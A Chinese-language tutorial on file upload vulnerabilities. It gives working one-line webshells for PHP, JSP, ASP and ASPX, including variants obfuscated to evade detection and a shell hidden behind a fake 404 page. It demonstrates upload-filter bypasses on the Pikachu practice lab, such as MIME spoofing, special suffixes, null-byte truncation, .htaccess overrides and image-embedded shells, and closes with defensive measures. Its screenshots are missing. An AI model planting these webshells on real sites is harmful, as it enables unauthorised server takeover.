文件上传漏洞
1.文件上传漏洞简述
文件上传功能是很多web程序都带的一个功能,但是如果web后端没有对文件做一些安全性的限制的话,那么很有可能这个文件上传上来会破坏掉整个web程序,这就是文件上传漏洞。
文件上传漏洞发生的前提就web程序要有文件上传的功能,并且能够解析上传的文件脚本语言,而且还要知道文件的访问路径,三者缺一不可。
文件上传漏洞可以做到控制网站,从而对整个网站实现增删改查等一系列操作,还可以做到服务器提权,控制整个服务器。
当一个web程序有以下特点时,容易引发文件上传漏洞:
1.安全层面使用前端脚本验证
2.后端过滤有逻辑缺陷甚至没有过滤
3.服务端上传文件的访问路径已知或者能被获得
4.服务器配置有纰漏,比如如果开启put请求可以直接进去写文件
2.一句话木马及其原理
对文件上传漏洞的利用,莫过于上传一句话木马了。一句话木马强大又简单,不容易被查杀出来。
一句话木马的原理非常简单,就是让脚本语言以系统命令的形式执行接受到的参数
下面给出常见脚本语言的一句话木马:
PHP:
//经典一句话:
<?php
eval($_POST['a']);
?>
//防爆破一句话,连接地址:http://ip/x.php?x=myh0st
<?php
substr(md5($_REQUEST['x']),28)=='6862'&&eval($_REQUEST['password']);
?>
//过狗,地址 http://ip/x.php?s=assert
<?php
($_=@$_GET[s]).@$_($_POST[hihack])
?>
<php $a = "a"."s"."s"."e"."r"."t"; $a($_POST[hihack]);
?>
//404隐藏,如果使用菜刀连接时配置<O>date=@eval($_POST[paxmac]);</O>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /error.php was not found on this server. </p>
</body></html>
<?php
@preg_replace("/[checksql]/e",$_POST['hihack'],"saft");
?>
//躲避问号检测
<script language="php">eval ($_POST[hihack]);</script>
//躲检测
<?php assert($_REQUEST["hihack"]);?>
JSP:
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
ASP
//经典马
<%eval request("hihack")%>或<%execute(request("hihack"))%>
//配置文件挂马,需要能写配置文件,使用方法:访问报错,获取到配置文件的地址,然后连接
"%><% bbbb=request("aaaa")%><%eval(bbbb)%><%'
//不用%
<script language=VBScript runat=server>execute request("hihack")</script>
//不用双引号
<%eval request(chr(35))%>
ASPX
<%@ Page Language=”Jscript”%> <%eval(Request.Item[“hihack”],”unsafe”);%>
一句话木马和大马各自的优缺点:
一句话木马优点:量小,简单而有效,不易被查杀。缺点:功能太少,大部分情况下无效
大马优点:功能强大,可以做到好多事情。缺点:体积过大容易被查杀,不易被上传
3.大马
这里的大马是在GitHub下载的一个php木马文件,功能比较强大
访问图:
密码123456
可以看到还是有特别多的功能的。
4.文件上传漏洞利用
1)js检测绕过
有的网站为了防止文件上传漏洞,它开启了js前端的检测,限制一些文件后缀名。但是这种方法特别好绕过。
打开皮卡丘的文件上传模块,看到它说明只能上传图片
我们先尝试一下上传一句话木马:
发现它被拦截了,我们把木马文件的后缀改成jpg,然后BP抓包改数据尝试:
可以看到文件上传成功了,上传的文件名就是后缀为PHP的
我们尝试连接:
可以看到成功连接了。
2)MIME类型检测绕过
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。标准的文件上传组件中会自动上传文件的MIME类型,但是由于MIME类型是从客户端传递的,修改也不影响文件正常运行,因此通过BP拦截和修改MIME类型可以轻易绕过此类检测
我们再次使用pikachu的MIME上传:
发现它给我们的木马拦截了,我们使用BP修改请求包:
3)黑名单过滤不严格绕过
有些网站的后端代码写的比较拉,导致有不少逻辑漏洞,就比如过滤的时候没有考虑到一些额外的扩展名,比如php文件可以写成phtml,jsp可以写成jspx等,或者windows系统还支持大小写的拓展名,或者是在文件后缀后加点或者空格,windows系统都会识别并且在文件上传上去之后将它恢复,或者使用0x00截断绕过,都可以进行绕过。
特殊后缀
我们查看源码发现后端的黑名单,并且尝试上传php木马:
我们现在进行特殊后缀尝试:
可以看到上传成功,我们尝试蚁剑连接:
我们通过右键查看图片就可以看到请求地址:
然后连接:
00截断
下面尝试使用00截断:
首先介绍一下00截断:文件名后缀就一个%00字节,可以截断某些函数对文件名的判断。在许多语 言函数中,处理字符串的函数中0x00被认为是终止符。例:网站上传函数处理xxx. php%00. jpg时,首先后缀名是合法的jpg格式,可以 上传,在保存文件时遇到%00字符丢弃后面的jpg,文件后缀最终保存的后缀 名为xxx. php .(简单演示,环境没有黑名单限制)在可以控制文件路径的情况下,使用超长的文件路径也有可能会导致文件路径截断.(系统都有对文件名长度有限制)
这里我们上传这个:
然后修改十六进制位(p是0x70,h是0x68):
然后访问连接:
.htaccess绕过
修通过move_uploaded_file函数把自己写的.htaccess文件覆盖掉服务器上的这样就可以解析定义名单了。
.htaccess文件用处:通过.htaccess文件调用php解释器去解析一个文件名中只要包含 “aa”这个字符串的任意文件,无论你文件名是什么样子,只要包 含”aa”这个字符串,都可以被以php的方式来解析。
.htaccess文件内容:
<FilesMatch “aa”>
SetHandler application/x-httpd-php
我们首先上传.htaccess文件:
然后上传我们的图片马:
然后我们使用蚁剑连接:
解析漏洞发生条件:
1.php5.6以下不带nts的版本
2.服务器没有禁止.htaccess文件的上传,且服务商允许用户使用自定义.htaccess文件
Apache解析绕过
一个文件名为test. php. aaa. bbb. ccc的文件,Apache会从ccc的位置往 php的位置开始尝试解析,如果ccc不属于Apache能解析的后缀名,那么 Apache就会尝试去解析bbb,这样一直往前尝试,直到遇到一个能解析的扩展名为止。
apache 2.0-2.2 有可能存在此漏洞
我们新建一个这个文件:
然后我们尝试在apache服务器进行解析:
看到是可以的。
4)文件内容检测绕过
有的服务器后端会对文件内容进行一个检测,那么我们可以使用一张图片和我们的木马进行合并,做成一个以图片伪装的木马:
这样我们的图片马就做好了:
用这个图片马可以避开一些后端的内容检测,然后进行webshell获取
5.文件上传漏洞防护
1.上传文件的存储目录不给执行权限
2.隐藏上传文件访问路径
3.文件后缀白名单,注意0x00截断攻击(PHP更新到最新版本)
4.不能有本地文件包含漏洞(include dama. jpg)
5.及时更新web应用软件避免解析漏洞攻击